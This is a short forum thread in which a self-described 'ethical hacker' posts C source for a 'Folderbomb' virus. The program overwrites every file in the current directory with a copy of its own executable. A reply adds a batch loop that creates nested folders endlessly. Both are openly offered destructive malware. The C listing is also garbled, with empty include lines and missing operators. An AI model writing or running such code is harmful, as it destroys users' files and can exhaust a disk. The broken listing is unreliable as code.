how to make a virus (folder in folder

VISHAL SINGH's Avatar, Join Date: Dec 2010
Go4Expert Member
hey i m vishal sing ,an ethical hacker .now i kearn how u make an virus using c program
Code:
#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
after tyiping the c program u compile it and wow...

Last edited by shabbir; 13Jan2011 at 09:56.. Reason: Code blocks
0
WHone's Avatar, Join Date: Sep 2013
Light Poster
:start
mkdir virus
cd virus
goto start.
(its just like the same virus format, copy the above code in notepad and save as .bat extension,this will create a folder in folder named as virus, strictly for educational purpous only don't mis use! )